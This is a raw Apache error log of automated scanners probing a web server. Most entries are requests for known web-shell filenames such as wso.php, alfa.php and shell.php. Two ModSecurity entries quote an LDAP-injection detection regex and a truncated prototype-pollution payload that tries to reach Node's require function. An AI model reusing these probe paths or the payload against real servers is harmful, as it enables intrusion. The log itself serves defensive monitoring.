[:error] [pid 20237:tid 20314] [client 4.189.144.35:51760] File does not exist: /usr/local/apache/htdocs/mtvcrew.php [Tue Dec 16 12:52:06.150756 2025] [:error] [pid 20235:tid 20275] [client 4.189.144.35:51762] File does not exist: /usr/local/apache/htdocs/111.php [Tue Dec 16 12:52:06.320466 2025] [:error] [pid 20235:tid 20287] [client 4.189.144.35:51768] File does not exist: /usr/local/apache/htdocs/raw.php [Tue Dec 16 12:52:06.511121 2025] [:error] [pid 20468:tid 20490] [client 4.189.144.35:51770] File does not exist: /usr/local/apache/htdocs/great.php [Tue Dec 16 12:52:06.681606 2025] [:error] [pid 20236:tid 20246] [client 4.189.144.35:51772] File does not exist: /usr/local/apache/htdocs/akcc.php [Tue Dec 16 12:52:06.857726 2025] [:error] [pid 20468:tid 20479] [client 4.189.144.35:51778] File does not exist: /usr/local/apache/htdocs/p.php [Tue Dec 16 12:52:07.027118 2025] [:error] [pid 20468:tid 20482] [client 4.189.144.35:51780] File does not exist: /usr/local/apache/htdocs/moon.php [Tue Dec 16 12:52:07.223863 2025] [:error] [pid 20468:tid 20475] [client 4.189.144.35:51786] File does not exist: /usr/local/apache/htdocs/shoha.php [Tue Dec 16 12:52:07.396098 2025] [:error] [pid 11215:tid 11229] [client 4.189.144.35:51794] File does not exist: /usr/local/apache/htdocs/wso.php [Tue Dec 16 12:52:07.564764 2025] [:error] [pid 11215:tid 11230] [client 4.189.144.35:51800] File does not exist: /usr/local/apache/htdocs/sallu.php [Tue Dec 16 12:52:07.747133 2025] [:error] [pid 11215:tid 11223] [client 4.189.144.35:51804] File does not exist: /usr/local/apache/htdocs/wp-good.php [Tue Dec 16 12:52:07.915752 2025] [:error] [pid 20236:tid 20252] [client 4.189.144.35:51806] File does not exist: /usr/local/apache/htdocs/sid3.php [Tue Dec 16 12:52:08.084147 2025] [:error] [pid 20235:tid 20289] [client 4.189.144.35:51808] File does not exist: /usr/local/apache/htdocs/lock360.php [Tue Dec 16 12:52:08.254457 2025] [:error] [pid 20235:tid 20286] [client 4.189.144.35:51810] File does not exist: /usr/local/apache/htdocs/403.php [Tue Dec 16 12:52:08.423345 2025] [:error] [pid 20468:tid 20494] [client 4.189.144.35:51816] File does not exist: /usr/local/apache/htdocs/acp.php [Tue Dec 16 12:52:08.594557 2025] [:error] [pid 11215:tid 11225] [client 4.189.144.35:51818] File does not exist: /usr/local/apache/htdocs/shell.php [Tue Dec 16 12:52:09.332241 2025] [:error] [pid 11215:tid 11224] [client 4.189.144.35:51840] File does not exist: /usr/local/apache/htdocs/wp-is.php [Tue Dec 16 12:52:09.502190 2025] [:error] [pid 11215:tid 11231] [client 4.189.144.35:51842] File does not exist: /usr/local/apache/htdocs/zxin.php [Tue Dec 16 12:52:09.689219 2025] [:error] [pid 20468:tid 20486] [client 4.189.144.35:51844] File does not exist: /usr/local/apache/htdocs/pass.php [Tue Dec 16 13:12:59.043576 2025] [:error] [pid 11215:tid 11236] [client 138.68.79.50:56248] [client 138.68.79.50] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:\\\\((?:\\\\W*?(?:objectc(?:ategory|lass)|homedirectory|[gu]idnumber|cn)\\\\b\\\\W*?=|[^\\\\w\\\\x80-\\\\xFF]*?[\\\\!\\\\&\\\\|][^\\\\w\\\\x80-\\\\xFF]*?\\\\()|\\\\)[^\\\\w\\\\x80-\\\\xFF]*?\\\\([^\\\\w\\\\x80-\\\\xFF]*?[\\\\!\\\\&\\\\|])" at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_40_generic_attacks.conf"] [line "65"] [id "950010"] [rev "2"] [msg "LDAP Injection Attack"] [data "Matched Data: )() | found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$b0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22try { var req = null; try { req = \\x5c\\x5cu0070\\x5c\\x5cu0072\\x5c\\x5cu006f\\x5c\\x5cu0063\\x5c\\x5cu0065\\x5c\\x5cu0073\\x5c\\x5cu0073[string.fromcharcode(109,97,105,110,77,111,100,117,108,101)][string.fromcharcode(114,101,113,117,105,114,101)]; } catch(e) {} if (!r..."] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [ [hostname "ftp.tramildom.com"] [uri "/"] [unique_id "aUGhK6ib1XkTCBgPpNhKYQAAARI"] [Tue Dec 16 13:42:29.077259 2025] [:error] [pid 20468:tid 20492] [client 64.226.126.21:33080] [client 64.226.126.21] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:\\\\((?:\\\\W*?(?:objectc(?:ategory|lass)|homedirectory|[gu]idnumber|cn)\\\\b\\\\W*?=|[^\\\\w\\\\x80-\\\\xFF]*?[\\\\!\\\\&\\\\|][^\\\\w\\\\x80-\\\\xFF]*?\\\\()|\\\\)[^\\\\w\\\\x80-\\\\xFF]*?\\\\([^\\\\w\\\\x80-\\\\xFF]*?[\\\\!\\\\&\\\\|])" at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_40_generic_attacks.conf"] [line "65"] [id "950010"] [rev "2"] [msg "LDAP Injection Attack"] [data "Matched Data: )() | found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$b0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22try { var req = null; try { req = \\x5c\\x5cu0070\\x5c\\x5cu0072\\x5c\\x5cu006f\\x5c\\x5cu0063\\x5c\\x5cu0065\\x5c\\x5cu0073\\x5c\\x5cu0073[string.fromcharcode(109,97,105,110,77,111,100,117,108,101)][string.fromcharcode(114,101,113,117,105,114,101)]; } catch(e) {} if (!r..."] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [ [hostname "ftp.reskate.org"] [uri "/"] [unique_id "aUGoFUnD0tXKTOMsoR1r2AAAANQ"] [Tue Dec 16 13:42:37.901796 2025] [:error] [pid 20235:tid 20272] [client 4.230.30.149:33108] File does not exist: /usr/local/apache/htdocs/shoha.php [Tue Dec 16 13:42:38.476020 2025] [:error] [pid 11215:tid 11228] [client 4.230.30.149:33110] File does not exist: /usr/local/apache/htdocs/raw.php [Tue Dec 16 13:42:38.966551 2025] [:error] [pid 11215:tid 11236] [client 4.230.30.149:33112] File does not exist: /usr/local/apache/htdocs/an7.php [Tue Dec 16 13:42:39.156827 2025] [:error] [pid 11215:tid 11241] [client 4.230.30.149:33114] File does not exist: /usr/local/apache/htdocs/333.php [Tue Dec 16 13:42:39.350210 2025] [:error] [pid 11215:tid 11238] [client 4.230.30.149:33116] File does not exist: /usr/local/apache/htdocs/n.php [Tue Dec 16 13:42:39.551343 2025] [:error] [pid 11215:tid 11229] [client 4.230.30.149:33118] File does not exist: /usr/local/apache/htdocs/ahax.php [Tue Dec 16 13:42:39.741448 2025] [:error] [pid 11215:tid 11222] [client 4.230.30.149:33120] File does not exist: /usr/local/apache/htdocs/mds.php [Tue Dec 16 13:42:39.952790 2025] [:error] [pid 11215:tid 11218] [client 4.230.30.149:33124] File does not exist: /usr/local/apache/htdocs/bless5.php [Tue Dec 16 13:42:40.146918 2025] [:error] [pid 20468:tid 20473] [client 4.230.30.149:33130] File does not exist: /usr/local/apache/htdocs/admir.php [Tue Dec 16 13:42:40.593927 2025] [:error] [pid 20468:tid 20484] [client 4.230.30.149:33134] File does not exist: /usr/local/apache/htdocs/moon.php [Tue Dec 16 13:42:41.180235 2025] [:error] [pid 20235:tid 20285] [client 4.230.30.149:33140] File does not exist: /usr/local/apache/htdocs/gmo.php [Tue Dec 16 13:42:41.561624 2025] [:error] [pid 20236:tid 20245] [client 4.230.30.149:33144] File does not exist: /usr/local/apache/htdocs/alfa.php [Tue Dec 16 13:42:41.778124 2025] [:error] [pid 11215:tid 11219] [client 4.230.30.149:33146] File does not exist: /usr/local/apache/htdocs/cong.php [Tue Dec 16 13:42:41.968024 2025] [:error] [pid 11215:tid 11237] [client 4.230.30.149:33148] File does not exist: /usr/local/apache/htdocs/123.php [Tue Dec 16 13:42:42.195200 2025] [:error] [pid 11215:tid 11221] [client 4.230.30.149:33150] File does not exist: /usr/local/apache/htdocs/num.php [Tue Dec 16 13:42:42.397934 2025] [:error] [pid 20468:tid 20478] [client 4.230.30.149:33152] File does not exist: /usr/local/apache/htdocs/lock360.php [Tue Dec 16 13:42:42.828927 2025] [:error] [pid 20468:tid 20491] [client 4.230.30.149:33156] File does not exist: /usr/local/apache/htdocs/NewFile.php [Tue Dec 16 13:42:43.043094 2025] [:error] [pid 11215:tid 11234] [client 4.230.30.149:33166] File does not exist: /usr/local/apache/htdocs/wp-x7.php [Tue Dec 16 13:42:43.234517 2025] [:error] [pid 11215:tid 11242] [client 4.230.30.149:33168] File does not exist: /usr/local/apache/htdocs/p.php [Tue Dec 16 13:42:43.426330 2025] [:error] [pid 20468:tid 20488] [client 4.230.30.149:33170] File does not exist: /usr/local/apache/htdocs/v3.php [Tue Dec 16 13:42:44.115864 2025] [:error] [pid 20468:tid 20472] [client 4.230.30.149:33174] File does not exist: /usr/local/apache/htdocs/system.php [Tue Dec 16 13:42:44.322428 2025] [:error] [pid 20235:tid 20288] [client 4.230.30.149:33176] File does not exist: /usr/local/apache/htdocs/ton.php [Tue Dec 16 13:42:44.517694 2025] [:error] [pid 20237:tid 20312] [client 4.230.30.149:33178] File does not exist: /usr/local/apache/htdocs/555.php [Tue Dec 16 13:42:44.869246 2025] [:error] [pid 20236:tid 20258] [client 4.230.30.149:33180] File does not exist: /usr/local/apache/htdocs/AxAo.php [Tue Dec 16 13:42:45.272344 2025] [:error] [pid 11215:tid 11230] [client 4.230.30.149:33184] File does not exist: /usr/local/apache/htdocs/db.php [Tue Dec 16 13:42:45.638536 2025] [:error] [pid 11215:tid 11219] [client 4.230.30.149:33194] File does not exist: /usr/local/apache/htdocs/nc.php [Tue Dec 16 13:42:45.834300 2025] [:error] [pid 20468:tid 20479] [client 4.230.30.149:33198] File does not exist: /usr/local/apache/htdocs/file1.php [Tue Dec 16 13:42:46.030185 2025] [:error] [pid 11215:tid 11223] [client 4.230.30.149:33204] File does not exist: /usr/local/apache/htdocs/file32.php [Tue Dec 16 13:42:46.240813 2025] [:error] [pid 11215:tid 11221] [client 4.230.30.149:33208] File does not exist: /usr/local/apache/htdocs/hook.php [Tue Dec 16 13:42:46.665118 2025] [:error] [pid 11215:tid 11234] [client 4.230.30.149:33212] File does not exist: /usr/local/apache/htdocs/file4.php [Tue Dec 16 13:42:47.003317 2025] [:error] [pid 11215:tid 11242] [client 4.230.30.149:33214] File does not exist: /usr/local/apache/htdocs/sto.php [Tue Dec 16 13:42:47.358027 2025] [:error] [pid 20468:tid 20492] [client 4.230.30.149:33216] File does not exist: /usr/local/apache/htdocs/ffile.php [Tue Dec 16 13:42:47.567948 2025] [:error] [pid 20468:tid 20494] [client 4.230.30.149:33218] File does not exist: /usr/local/apache/htdocs/403.php [Tue Dec 16 13:42:47.765395 2025] [:error] [pid 20237:tid 20307] [client 4.230.30.149:33220] File does not exist: /usr/local/apache/htdocs/wp1.php [Tue Dec 16 13:42:48.183575 2025] [:error] [pid 20236:tid 20256] [client 4.230.30.149:33228] File does not exist: /usr/local/apache/htdocs/aa.php [Tue Dec 16 13:42:48.575805 2025] [:error] [pid 20236:tid 20244] [client 4.230.30.149:33230] File does not exist: /usr/local/apache/htdocs/666.php [Tue Dec 16 13:42:48.785979 2025] [:error] [pid 20236:tid 20255] [client 4.230.30.149:33232] File does not exist: /usr/local/apache/htdocs/wb.php [Tue Dec 16 13:42:48.975498 2025] [:error] [pid 11215:tid 11222] [client 4.230.30.149:33234] File does not exist: /usr/local/apache/htdocs/chosen.php [Tue Dec 16 13:42:49.167402 2025] [:error] [pid 11215:tid 11227] [client 4.230.30.149:33236] File does not exist: /usr/local/apache/htdocs/fs.php [Tue Dec 16 13:42:49.358881 2025] [:error] [pid 11215:tid 11218] [client 4.230.30.149:33238] File does not exist: /usr/local/apache/htdocs/0x.php [Tue Dec 16 13:42:49.552091 2025] [:error] [pid 11215:tid 11233] [client 4.230.30.149:33240] File does not exist: /usr/local/apache/htdocs/bless11.php [Tue Dec 16 13:42:49.853630 2025] [:error] [pid 11215:tid 11226] [client 4.230.30.149:33242] File does not exist: /usr/local/apache/htdocs/file.php [Tue Dec 16 13:42:50.067621 2025] [:error] [pid 20236:tid 20259] [client 4.230.30.149:33244] File does not exist: /usr/local/apache/htdocs/indo.php [Tue Dec 16 13:42:50.375495 2025] [:error] [pid 11215:tid 11225] [client 4.230.30.149:33246] File does not exist: /usr/local/apache/htdocs/card.php [Tue Dec 16 13:42:50.729556 2025] [:error] [pid 11215:tid 11237] [client 4.230.30.149:33248] File does not exist: /usr/local/apache/htdocs/menu.php [Tue Dec 16 13:42:50.930219 2025] [:error] [pid 11215:tid 11228] [client 4.230.30.149:33256] File does not exist: /usr/local/apache/htdocs/mnkalo.php [Tue Dec 16 13:42:51.128813 2025] [:error] [pid 11215:tid 11236] [client 4.230.30.149:33260] File does not exist: /usr/local/apache/htdocs/222.php [Tue Dec 16 13:42:51.319057 2025] [:error] [pid 11215:tid 11238] [client 4.230.30.149:33262] File does not exist: /usr/local/apache/htdocs/file3.php [Tue Dec 16 13:42:51.508281 2025] [:error] [pid 11215:tid 11229] [client 4.230.30.149:33264] File does not exist: /usr/local/apache/htdocs/031.php [Tue Dec 16 13:42:51.700334 2025] [:error] [pid 11215:tid 11222] [client 4.230.30.149:33266] File does not exist: /usr/local/apache/htdocs/mws.php [Tue Dec 16 13:42:51.909175 2025] [:error] [pid 11215:tid 11227] [client 4.230.30.149:33268] File does not exist: /usr/local/apache/htdocs/dlu.php [Tue Dec 16 13:42:52.102719 2025] [:error] [pid 11215:tid 11218] [client 4.230.30.149:33270] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/about.php [Tue Dec 16 13:42:52.314879 2025] [:error] [pid 20468:tid 20493] [client 4.230.30.149:33272] File does not exist: /usr/local/apache/htdocs/class19.php [Tue Dec 16 13:42:52.769550 2025] [:error] [pid 20468:tid 20473] [client 4.230.30.149:33274] File does not exist: /usr/local/apache/htdocs/wp-the1me.php [Tue Dec 16 13:42:52.960131 2025] [:error] [pid 11215:tid 11230] [client 4.230.30.149:33280] File does not exist: /usr/local/apache/htdocs/lala.php [Tue Dec 16 13:42:53.359579 2025] [:error] [pid 20468:tid 20484] [client 4.230.30.149:33282] File does not exist: /usr/local/apache/htdocs/k.php [Tue Dec 16 13:42:53.573382 2025] [:error] [pid 11215:tid 11219] [client 4.230.30.149:33284] File does not exist: /usr/local/apache/htdocs/admin.php [Tue Dec 16 13:42:53.767356 2025] [:error] [pid 11215:tid 11223] [client 4.230.30.149:33286] File does not exist: /usr/local/apache/htdocs/css.php [Tue Dec 16 13:42:53.957351 2025] [:error] [pid 11215:tid 11224] [client 4.230.30.149:33288] File does not exist: /usr/local/apache/htdocs/1.php [Tue Dec 16 13:42:54.151629 2025] [:error] [pid 11215:tid 11239] [client 4.230.30.149:33290] File does not exist: /usr/local/apache/htdocs/gifclass.php [Tue Dec 16 13:42:54.341551 2025] [:error] [pid 11215:tid 11234] [client 4.230.30.149:33292] File does not exist: /usr/local/apache/htdocs/file9.php [Tue Dec 16 13:42:54.531030 2025] [:error] [pid 11215:tid 11242] [client 4.230.30.149:33294] File does not exist: /usr/local/apache/htdocs/hk.php [Tue Dec 16 13:42:54.737939 2025] [:error] [pid 11215:tid 11220] [client 4.230.30.149:33296] File does not exist: /usr/local/apache/htdocs/yas.php [Tue Dec 16 13:42:54.927467 2025] [:error] [pid 11215:tid 11231] [client 4.230.30.149:33298] File does not exist: /usr/local/apache/htdocs/wp.php [Tue Dec 16 13:42:55.608466 2025] [:error] [pid 11215:tid 11240] [client 4.230.30.149:33304] File does not exist: /usr/local/apache/htdocs/wp-gr.php [Tue Dec 16 13:42:55.938514 2025] [:error] [pid 20235:tid 20269] [client 4.230.30.149:33306] File does not exist: /usr/local/apache/htdocs/owl.php [Tue Dec 16 13:42:56.145489 2025] [:error] [pid 11215:tid 11241] [client 4.230.30.149:33312] File does not exist: /usr/local/apache/htdocs/mo.php [Tue Dec 16 13:42:56.336216 2025] [:error] [pid 11215:tid 11232] [client 4.230.30.149:33314] File does not exist: /usr/local/apache/htdocs/file21.php [Tue Dec 16 13:42:56.539237 2025] [:error] [pid 11215:tid 11233] [client 4.230.30.149:33318] File does not exist: /usr/local/apache/htdocs/ok.php [Tue Dec 16 13:42:57.218260 2025] [:error] [pid 11215:tid 11226] [client 4.230.30.149:33322] File does not exist: /usr/local/apache/htdocs/444.php [Tue Dec 16 13:42:57.409566 2025] [:error] [pid 20468:tid 20495] [client 4.230.30.149:33324] File does not exist: /usr/local/apache/htdocs/zc-903.php [Tue Dec 16 13:42:57.716772 2025] [:error] [pid 11215:tid 11225] [client 4.230.30.149:33326] File does not exist: /usr/local/apache/htdocs/cc.php [Tue Dec 16 13:42:57.930774 2025] [:error] [pid 11215:tid 11237] [client 4.230.30.149:33330] File does not exist: /usr/local/apache/htdocs/nij.php [Tue Dec 16 13:42:58.127250 2025] [:error] [pid 11215:tid 11228] [client 4.230.30.149:33334] File does not exist: /usr/local/apache/htdocs/info.php [Tue Dec 16 13:42:58.316604 2025] [:error] [pid 11215:tid 11236] [client 4.230.30.149:33336] File does not exist: /usr/local/apache/htdocs/radio.php [Tue Dec 16 13:42:58.510707 2025] [:error] [pid 11215:tid 11238] [client 4.230.30.149:33342] File does not exist: /usr/local/apache/htdocs/404.php [Tue Dec 16 13:42:58.899823 2025] [:error] [pid 11215:tid 11221] [client 4.230.30.149:33346] File does not exist: /usr/local/apache/htdocs/tox.php [Tue Dec 16 13:42:59.095111 2025] [:error] [pid 11215:tid 11222] [client 4.230.30.149:33348] File does not exist: /usr/local/apache/htdocs/lo.php [Tue Dec 16 13:42:59.307545 2025] [:error] [pid 20237:tid 20309] [client 4.230.30.149:33350] File does not exist: /usr/local/apache/htdocs/wpls.php [Tue Dec 16 13:42:59.521542 2025] [:error] [pid 11215:tid 11227] [client 4.230.30.149:33352] File does not exist: /usr/local/apache/htdocs/geck.php [Tue Dec 16 13:42:59.711452 2025] [:error] [pid 11215:tid 11218] [client 4.230.30.149:33354] File does not exist: /usr/local/apache/htdocs/inde.php [Tue Dec 16 13:43:00.099189 2025] [:error] [pid 11215:tid 11235] [client 4.230.30.149:33356] File does not exist: /usr/local/apache/htdocs/777.php [Tue Dec 16 13:43:00.288969 2025] [:error] [pid 20236:tid 20246] [client 4.230.30.149:33358] File does not exist: /usr/local/apache/htdocs/luxe.php [Tue Dec 16 13:43:00.488171 2025] [:error] [pid 20468:tid 20488] [client 4.230.30.149:33360] File does not exist: /usr/local/apache/htdocs/2.php [Tue Dec 16 13:43:00.680689 2025] [:error] [pid 20237:tid 20317] [client 4.230.30.149:33362] File does not exist: /usr/local/apache/htdocs/zxin.php [Tue Dec 16 13:43:01.056284 2025] [:error] [pid 20236:tid 20254] [client 4.230.30.149:33368] File does not exist: /usr/local/apache/htdocs/xtt.php [Tue Dec 16 13:43:01.474771 2025] [:error] [pid 20236:tid 20261] [client 4.230.30.149:33374] File does not exist: /usr/local/apache/htdocs/noe.php [Tue Dec 16 13:43:01.672790 2025] [:error] [pid 20468:tid 20472] [client 4.230.30.149:33378] File does not exist: /usr/local/apache/htdocs/class20.php [Tue Dec 16 13:43:01.882312 2025] [:error] [pid 11215:tid 11223] [client 4.230.30.149:33380] File does not exist: /usr/local/apache/htdocs/shellalfa.php [Tue Dec 16 13:43:02.074502 2025] [:error] [pid 20468:tid 20479] [client 4.230.30.149:33382] File does not exist: /usr/local/apache/htdocs/te.php [Tue Dec 16 13:43:02.266096 2025] [:error] [pid 11215:tid 11224] [client 4.230.30.149:33384] File does not exist: /usr/local/apache/htdocs/a2.php [Tue Dec 16 13:43:02.456625 2025] [:error] [pid 11215:tid 11239] [client 4.230.30.149:33386] File does not exist: /usr/local/apache/htdocs/jp.php [Tue Dec 16 13:43:02.674328 2025] [:error] [pid 20235:tid 20287] [client 4.230.30.149:33388] File does not exist: /usr/local/apache/htdocs/cccc.php [Tue Dec 16 13:43:02.888170 2025] [:error] [pid 11215:tid 11234] [client 4.230.30.149:33390] File does not exist: /usr/local/apache/htdocs/fe5.php [Tue Dec 16 13:43:03.089365 2025] [:error] [pid 20468:tid 20482] [client 4.230.30.149:33392] File does not exist: /usr/local/apache/htdocs/sid3.php [Tue Dec 16 13:43:03.284419 2025] [:error] [pid 20236:tid 20265] [client 4.230.30.149:33394] File does not exist: /usr/local/apache/htdocs/v4.php [Tue Dec 16 13:43:04.053017 2025] [:error] [pid 11215:tid 11242] [client 4.230.30.149:33400] File does not exist: /usr/local/apache/htdocs/new4.php [Tue Dec 16 13:43:04.252160 2025] [:error] [pid 11215:tid 11220] [client 4.230.30.149:33402] File does not exist: /usr/local/apache/htdocs/gg.php [Tue Dec 16 13:43:04.441947 2025] [:error] [pid 11215:tid 11231] [client 4.230.30.149:33404] File does not exist: /usr/local/apache/htdocs/wp-update.php [Tue Dec 16 13:43:04.631409 2025] [:error] [pid 11215:tid 11240] [client 4.230.30.149:33406] File does not exist: /usr/local/apache/htdocs/gelap.php [Tue Dec 16 13:43:05.258063 2025] [:error] [pid 11215:tid 11241] [client 4.230.30.149:33408] File does not exist: /usr/local/apache/htdocs/class-t.api.php [Tue Dec 16 13:43:05.750750 2025] [:error] [pid 11215:tid 11232] [client 4.230.30.149:33410] File does not exist: /usr/local/apache/htdocs/000.php [Tue Dec 16 13:43:05.959950 2025] [:error] [pid 11215:tid 11233] [client 4.230.30.149:33412] File does not exist: /usr/local/apache/htdocs/classwithtostring.php [Tue Dec 16 13:43:06.368451 2025] [:error] [pid 11215:tid 11225] [client 4.230.30.149:33416] File does not exist: /usr/local/apache/htdocs/file18.php [Tue Dec 16 13:43:06.570806 2025] [:error] [pid 11215:tid 11237] [client 4.230.30.149:33418] File does not exist: /usr/local/apache/htdocs/v.php [Tue Dec 16 13:43:06.792264 2025] [:error] [pid 20237:tid 20313] [client 4.230.30.149:33420] File does not exist: /usr/local/apache/htdocs/wp-good.php [Tue Dec 16 13:43:07.004727 2025] [:error] [pid 11215:tid 11228] [client 4.230.30.149:33422] File does not exist: /usr/local/apache/htdocs/bless.php [Tue Dec 16 13:43:07.226625 2025] [:error] [pid 11215:tid 11236] [client 4.230.30.149:33424] File does not exist: /usr/local/apache/htdocs/acp.php [Tue Dec 16 13:43:07.417423 2025] [:error] [pid 11215:tid 11238] [client 4.230.30.149:33426] File does not exist: /usr/local/apache/htdocs/g.php [Tue Dec 16 13:43:07.800193 2025] [:error] [pid 20235:tid 20277] [client 4.230.30.149:33434] File does not exist: /usr/local/apache/htdocs/class.php [Tue Dec 16 13:43:07.990148 2025] [:error] [pid 11215:tid 11221] [client 4.230.30.149:33436] File does not exist: /usr/local/apache/htdocs/simple.php [Tue Dec 16 13:43:08.202039 2025] [:error] [pid 11215:tid 11222] [client 4.230.30.149:33440] File does not exist: /usr/local/apache/htdocs/ioxi-o.php [Tue Dec 16 13:43:08.407742 2025] [:error] [pid 11215:tid 11227] [client 4.230.30.149:33444] File does not exist: /usr/local/apache/htdocs/33.php [Tue Dec 16 13:43:08.683547 2025] [:error] [pid 11215:tid 11218] [client 4.230.30.149:33446] File does not exist: /usr/local/apache/htdocs/o.php [Tue Dec 16 13:43:08.880513 2025] [:error] [pid 20235:tid 20291] [client 4.230.30.149:33448] File does not exist: /usr/local/apache/htdocs/wcas.php [Tue Dec 16 13:43:09.259545 2025] [:error] [pid 11215:tid 11235] [client 4.230.30.149:33452] File does not exist: /usr/local/apache/htdocs/f6.php [Tue Dec 16 13:43:09.540210 2025] [:error] [pid 11215:tid 11226] [client 4.230.30.149:33454] File does not exist: /usr/local/apache/htdocs/v2.php [Tue Dec 16 13:43:09.752292 2025] [:error] [pid 20236:tid 20248] [client 4.230.30.149:33456] File does not exist: /usr/local/apache/htdocs/file5.php [Tue Dec 16 13:43:09.941937 2025] [:error] [pid 20235:tid 20283] [client 4.230.30.149:33458] File does not exist: /usr/local/apache/htdocs/lol.php [Tue Dec 16 13:43:10.148107 2025] [:error] [pid 20237:tid 20306] [client 4.230.30.149:33460] File does not exist: /usr/local/apache/htdocs/fileas.php [Tue Dec 16 13:43:10.337978 2025] [:error] [pid 20237:tid 20299] [client 4.230.30.149:33462] File does not exist: /usr/local/apache/htdocs/n3.php [Tue Dec 16 13:43:10.531300 2025] [:error] [pid 20237:tid 20295] [client 4.230.30.149:33464] File does not exist: /usr/local/apache/htdocs/an.php [Tue Dec 16 13:43:10.720722 2025] [:error] [pid 20237:tid 20301] [client 4.230.30.149:33470] File does not exist: /usr/local/apache/htdocs/error.php [Tue Dec 16 13:43:10.910336 2025] [:error] [pid 20237:tid 20315] [client 4.230.30.149:33472] File does not exist: /usr/local/apache/htdocs/wolv2.php [Tue Dec 16 13:43:11.110281 2025] [:error] [pid 20235:tid 20272] [client 4.230.30.149:33474] File does not exist: /usr/local/apache/htdocs/wp-is.php [Tue Dec 16 13:43:11.474279 2025] [:error] [pid 20468:tid 20494] [client 4.230.30.149:33480] File does not exist: /usr/local/apache/htdocs/ava.php [Tue Dec 16 13:43:11.664143 2025] [:error] [pid 20235:tid 20286] [client 4.230.30.149:33482] File does not exist: /usr/local/apache/htdocs/m.php [Tue Dec 16 13:43:11.870445 2025] [:error] [pid 11215:tid 11225] [client 4.230.30.149:33484] File does not exist: /usr/local/apache/htdocs/shell1.php [Tue Dec 16 13:43:12.061366 2025] [:error] [pid 11215:tid 11237] [client 4.230.30.149:33486] File does not exist: /usr/local/apache/htdocs/gdn.php [Tue Dec 16 13:43:12.252280 2025] [:error] [pid 11215:tid 11228] [client 4.230.30.149:33488] File does not exist: /usr/local/apache/htdocs/abc.php [Tue Dec 16 13:43:12.454912 2025] [:error] [pid 11215:tid 11236] [client 4.230.30.149:33490] File does not exist: /usr/local/apache/htdocs/doc.php [Tue Dec 16 13:43:12.741358 2025] [:error] [pid 11215:tid 11238] [client 4.230.30.149:33492] File does not exist: /usr/local/apache/htdocs/autoload_classmap.php [Tue Dec 16 13:43:12.931404 2025] [:error] [pid 11215:tid 11229] [client 4.230.30.149:33494] File does not exist: /usr/local/apache/htdocs/asd67.php [Tue Dec 16 13:43:13.130870 2025] [:error] [pid 11215:tid 11231] [client 4.230.30.149:33498] File does not exist: /usr/local/apache/htdocs/12.php [Tue Dec 16 13:43:13.367357 2025] [:error] [pid 11215:tid 11240] [client 4.230.30.149:33502] File does not exist: /usr/local/apache/htdocs/manager.php [Tue Dec 16 13:43:13.629904 2025] [:error] [pid 11215:tid 11218] [client 4.230.30.149:33504] File does not exist: /usr/local/apache/htdocs/usep.php [Tue Dec 16 13:43:13.819339 2025] [:error] [pid 20468:tid 20493] [client 4.230.30.149:33506] File does not exist: /usr/local/apache/htdocs/auth.php [Tue Dec 16 13:43:14.222027 2025] [:error] [pid 20236:tid 20242] [client 4.230.30.149:33510] File does not exist: /usr/local/apache/htdocs/hello.php [Tue Dec 16 13:43:14.412426 2025] [:error] [pid 20236:tid 20239] [client 4.230.30.149:33512] File does not exist: /usr/local/apache/htdocs/abt.php [Tue Dec 16 13:43:14.668502 2025] [:error] [pid 20236:tid 20240] [client 4.230.30.149:33514] File does not exist: /usr/local/apache/htdocs/jmfi2.php [Tue Dec 16 13:43:14.870115 2025] [:error] [pid 20237:tid 20309] [client 4.230.30.149:33516] File does not exist: /usr/local/apache/htdocs/layout.php [Tue Dec 16 13:43:15.098689 2025] [:error] [pid 20236:tid 20247] [client 4.230.30.149:33518] File does not exist: /usr/local/apache/htdocs/up.php [Tue Dec 16 13:43:15.296988 2025] [:error] [pid 20236:tid 20253] [client 4.230.30.149:33520] File does not exist: /usr/local/apache/htdocs/flower.php [Tue Dec 16 13:43:15.486732 2025] [:error] [pid 11215:tid 11233] [client 4.230.30.149:33522] File does not exist: /usr/local/apache/htdocs/nope.php [Tue Dec 16 13:43:15.698923 2025] [:error] [pid 11215:tid 11219] [client 4.230.30.149:33524] File does not exist: /usr/local/apache/htdocs/js.php [Tue Dec 16 13:43:16.079366 2025] [:error] [pid 11215:tid 11224] [client 4.230.30.149:33528] File does not exist: /usr/local/apache/htdocs/media.php [Tue Dec 16 13:43:16.459816 2025] [:error] [pid 11215:tid 11234] [client 4.230.30.149:33532] File does not exist: /usr/local/apache/htdocs/default.php [Tue Dec 16 13:43:16.910549 2025] [:error] [pid 11215:tid 11220] [client 4.230.30.149:33536] File does not exist: /usr/local/apache/htdocs/wp-load.php [Tue Dec 16 13:43:17.144582 2025] [:error] [pid 11215:tid 11222] [client 4.230.30.149:33538] File does not exist: /usr/local/apache/htdocs/sko.php [Tue Dec 16 13:43:17.350488 2025] [:error] [pid 20237:tid 20317] [client 4.230.30.149:33540] File does not exist: /usr/local/apache/htdocs/new.php [Tue Dec 16 13:43:17.541480 2025] [:error] [pid 20468:tid 20473] [client 4.230.30.149:33542] File does not exist: /usr/local/apache/htdocs/wp-mail.php [Tue Dec 16 13:43:17.806685 2025] [:error] [pid 11215:tid 11227] [client 4.230.30.149:33548] File does not exist: /usr/local/apache/htdocs/png.php [Tue Dec 16 13:43:18.003991 2025] [:error] [pid 11215:tid 11241] [client 4.230.30.149:33550] File does not exist: 